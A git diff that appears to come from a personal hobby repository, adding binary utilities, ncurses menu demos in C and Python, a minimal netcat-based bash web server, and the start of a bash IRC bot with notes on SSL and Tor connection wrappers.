zT<>2aUW$E$80XVJ3jSBpWl9|)U5+}D-j45h(iKX*2^zRVsguMjkx$gJ=1%-u6Dau& z#CPF)UvN9|$CUawG5p2^r-z*Y5!KG{vYo0yej|z literal 0 HcmV?d00001 diff --git a/bash/bbs/utils/fselect b/bash/bbs/utils/fselect new file mode 100755 index 0000000000000000000000000000000000000000..1fb89286249ce3589f543facd581894ffdae4160 GIT binary patch literal 20712 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%0DYqWhAu<# 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 literal 0 HcmV?d00001 diff --git a/bash/bbs/utils/menu.c b/bash/bbs/utils/menu.c new file mode 100644 index 0000000..2d74adf --- /dev/null +++ b/bash/bbs/utils/menu.c @@ -0,0 +1,76 @@ +#include +#include + +#define ARRAY_SIZE(a) (sizeof(a) / sizeof(a[0])) +#define CTRLD 4 + +char *choices[] = { + "Choice 1", + "Choice 2", + "Choice 3", + "Choice 4", + "Exit", + "Choice 1", + "Choice 2", + "Choice 3", + "Choice 4", + "Exit", + "Choice 1", + "Choice 2", + "Choice 3", + "Choice 4", + "Exit", + "Choice 1", + "Choice 2", + "Choice 3", + "Choice 4", + "Exit", + "Choice 1", + "Choice 2", + "Choice 3", + "Choice 4", + "Exit", + }; + +int main() +{ ITEM **my_items; + int c; + MENU *my_menu; + int n_choices, i; + ITEM *cur_item; + + + initscr(); + cbreak(); + noecho(); + keypad(stdscr, TRUE); + + n_choices = ARRAY_SIZE(choices); + my_items = (ITEM **)calloc(n_choices + 1, sizeof(ITEM *)); + + for(i = 0; i < n_choices; ++i) + my_items[i] = new_item(choices[i], choices[i]); + my_items[n_choices] = (ITEM *)NULL; + + my_menu = new_menu((ITEM **)my_items); + mvprintw(LINES - 1, 0, "F2 to Exit"); + post_menu(my_menu); + refresh(); + + while((c = getch()) != KEY_F(2)) + { switch(c) + { case KEY_DOWN: + menu_driver(my_menu, REQ_DOWN_ITEM); + break; + case KEY_UP: + menu_driver(my_menu, REQ_UP_ITEM); + break; + } + } + + free_item(my_items[0]); + free_item(my_items[1]); + free_menu(my_menu); + endwin(); +} + diff --git a/bash/bbs/utils/menu.py b/bash/bbs/utils/menu.py new file mode 100644 index 0000000..f694d78 --- /dev/null +++ b/bash/bbs/utils/menu.py @@ -0,0 +1,152 @@ +#!/usr/bin/python +"""Yet another curses-based directory tree browser, in Python. + +I thought I could use something like this for filename entry, kind of +like the old 4DOS 'select' command --- cd $(cursoutline.py). So you +navigate and hit Enter, and it exits and spits out the file you're on. + +""" +# There are several general approaches to the drawing-an-outline +# problem. This program supports the following operations: +# - move cursor to previous item (in preorder traversal) +# - move cursor to next item (likewise) +# - hide descendants +# - reveal children +# And because it runs over the filesystem, it must be at least somewhat lazy +# about expanding children. +# And it doesn't really bother to worry about someone else changing the outline +# behind its back. +# So the strategy is to store our current linear position in the +# inorder traversal, and defer operations on the current node until the next +# time we're traversing. + + +import curses.wrapper, time, random, cgitb, os, sys +cgitb.enable(format="text") +ESC = 27 +result = '' +start = '.' + +def pad(data, width): + # XXX this won't work with UTF-8 + return data + ' ' * (width - len(data)) + +class File: + def __init__(self, name): + self.name = name + def render(self, depth, width): + return pad('%s%s %s' % (' ' * 4 * depth, self.icon(), + os.path.basename(self.name)), width) + def icon(self): return ' ' + def traverse(self): yield self, 0 + def expand(self): pass + def collapse(self): pass + +class Dir(File): + def __init__(self, name): + File.__init__(self, name) + try: self.kidnames = os.listdir(name) + except: self.kidnames = None # probably permission denied + self.kids = None + self.expanded = False + def children(self): + if self.kidnames is None: return [] + if self.kids is None: + self.kids = [factory(os.path.join(self.name, kid)) + for kid in self.kidnames] + return self.kids + def icon(self): + if self.expanded: return '[-]' + elif self.kidnames is None: return '[?]' + elif self.children(): return '[+]' + else: return '[ ]' + def expand(self): self.expanded = True + def collapse(self): self.expanded = False + def traverse(self): + yield self, 0 + if not self.expanded: return + for child in self.children(): + for kid, depth in child.traverse(): + yield kid, depth + 1 + +def factory(name): + if os.path.isdir(name): return Dir(name) + else: return File(name) + +def main(stdscr): + cargo_cult_routine(stdscr) + stdscr.nodelay(0) + mydir = factory(start) + mydir.expand() + curidx = 3 + pending_action = None + pending_save = False + + while 1: + stdscr.clear() + curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_BLUE) + line = 0 + offset = max(0, curidx - curses.LINES + 3) + for data, depth in mydir.traverse(): + if line == curidx: + stdscr.attrset(curses.color_pair(1) | curses.A_BOLD) + if pending_action: + getattr(data, pending_action)() + pending_action = None + elif pending_save: + global result + result = data.name + return + else: + stdscr.attrset(curses.color_pair(0)) + if 0 <= line - offset < curses.LINES - 1: + stdscr.addstr(line - offset, 0, + data.render(depth, curses.COLS)) + line += 1 + stdscr.refresh() + ch = stdscr.getch() + if ch == curses.KEY_UP: curidx -= 1 + elif ch == curses.KEY_DOWN: curidx += 1 + elif ch == curses.KEY_PPAGE: + curidx -= curses.LINES + if curidx < 0: curidx = 0 + elif ch == curses.KEY_NPAGE: + curidx += curses.LINES + if curidx >= line: curidx = line - 1 + elif ch == curses.KEY_RIGHT: pending_action = 'expand' + elif ch == curses.KEY_LEFT: pending_action = 'collapse' + elif ch == ESC: return + elif ch == ord('\n'): pending_save = True + curidx %= line + +def cargo_cult_routine(win): + win.clear() + win.refresh() + curses.nl() + curses.noecho() + win.timeout(0) + +def open_tty(): + saved_stdin = os.dup(0) + saved_stdout = os.dup(1) + os.close(0) + os.close(1) + stdin = os.open('/dev/tty', os.O_RDONLY) + stdout = os.open('/dev/tty', os.O_RDWR) + return saved_stdin, saved_stdout + +def restore_stdio((saved_stdin, saved_stdout)): + os.close(0) + os.close(1) + os.dup(saved_stdin) + os.dup(saved_stdout) + +if __name__ == '__main__': + global start + if len(sys.argv) > 1: + start = sys.argv[1] + saved_fds = open_tty() + try: curses.wrapper(main) + finally: restore_stdio(saved_fds) + print result + diff --git "a/bash/bbs/utils/\304\233\305\241\304\215\305\231\305\276\303\275\303\241\303\255\303\251" "b/bash/bbs/utils/\304\233\305\241\304\215\305\231\305\276\303\275\303\241\303\255\303\251" new file mode 100644 index 0000000..e69de29 diff --git a/bash/bhttpd/httpd.bash b/bash/bhttpd/httpd.bash new file mode 100755 index 0000000..60392a9 --- /dev/null +++ b/bash/bhttpd/httpd.bash @@ -0,0 +1,20 @@ +#!/bin/bash +ififo="/tmp/$$.osck"; +ofifo="/tmp/$$.isck"; +mkfifo "$ififo"; +mkfifo "$ofifo"; + +passfifo() { + while true; do + cat "%1"; + done +} + +while true; do + echo -ne 'HTTP/1.1 200 OK\n\n' > "$ofifo"; + passfifo "$ofifo" | nc -l -p 8080 > "$ififo" & + cat "$ififo" | head -n 1 | cut -d ' ' -f 2 | read line; + echo "$line"; + echo "$line" > "$ofifo"; + kill "$!"; +done; diff --git a/bash/bircb/birc.bash b/bash/bircb/birc.bash new file mode 100755 index 0000000..da6a28e --- /dev/null +++ b/bash/bircb/birc.bash @@ -0,0 +1,272 @@ +#!/bin/bash + # BIRC(B) 1.3b - BASH IRC (Bot) + # Simple IRC Bot/Client with SSL and SOCKS support written in BASH + # <~~Harvie 2oo7/8 + +#WTF? + # You can use this as bot or client if anything else can't be installed. + # In fact, BIRC is just a netcat frontend to act as IRC client. + # If you don't have netcat, you can use other similar software. + +#Setting NETCAT + # If you want use insecure (non-ssl) connection, there are suitable configurations: + # format: # package -> NETCAT="value" + # netcat -> NETCAT="nc" + # telnet -> NETCAT="telnet" + # socat -> NETCAT="birc_socat" + # socat (for IPv6) -> NETCAT="birc_socat_6" + + # tail + # bash>=3 with /dev/tcp supp. -> NETCTA="birc_bash_netcat" + # With this, you don't need any external binary + # Your BASH have to be compiled with /dev/tcp/ support (problem on Debian,...) + # I never tested this wrapper ;( + +#Setting NETCAT for SSL + # Remember that default settings is to accept any cert, which means it is less secure... + # If you need to be in safe againtst MITM attacks, read something and edit wrappers. + # Remember that IRC server is sending your messages to other clients (that should not use SSL) + # You can determine if any user is connected with SSL by /whois nickname. + # 1.) Change BIRCPORT to port used by server for SSL + # 2.) Select one of these solutions (depends on software, you have installed): + # format: # package -> NETCAT="value" + # socat (for SSL) -> NETCAT="birc_socat_ssl" + # stunnel -> NETCAT="birc_stunnel" + # telnet-ssl -> NETCAT="birc_telnet_ssl" + +#Setting NETCAT for TOR network (or another SOCKS server) + # My SOCKS wrapper is set to use SOCKS4A server on 127.0.0.1:9050 which is used by TOR + # If you want to use another SOCKS server, you can simply edit the wrapper. + # Read "Setting NETCAT for SSL" for more info about SSL. + # After connecting check /whois yournickname to get your new IP adress... + # This will need socat installed and TOR client running... + # format: # package -> NETCAT="value" + # socat + tor (for TOR) -> NETCAT="birc_socat_tor" + # socat + tor (for TOR&SSL) -> NETCAT="birc_socat_tor_ssl" + # TOR+SSL = F*cking great privacy! + +#Setting NETCAT for different encoding + # This example shows you, how you can use uconv to convert encoding if server/channel + # requires some specific setting. + # NETCAT="nc" + # BIRCCODE="UTF-8" + # NETCAT="uconv -t $BIRCCODE -s -c -i -b 1 | $NETCAT | uconv -f $BIRCCODE -s -c -i -b 1" + +#Setting as bot + # You have to add more functions into the birc_parse(). + # Maybe, you want to make birc smaller by stripping this comments. + # I like to compress/obfuscate the code by gzexe. + +#Setting as client + # You can add some startup menu, or incoming PRIVMSG parser. + # It's good idea to make some kind of multichannel support. + +#HELP/INFO + # $0 -h == help + # CTCP examples: + # ^AACTION ROX!!!^A == "/ME 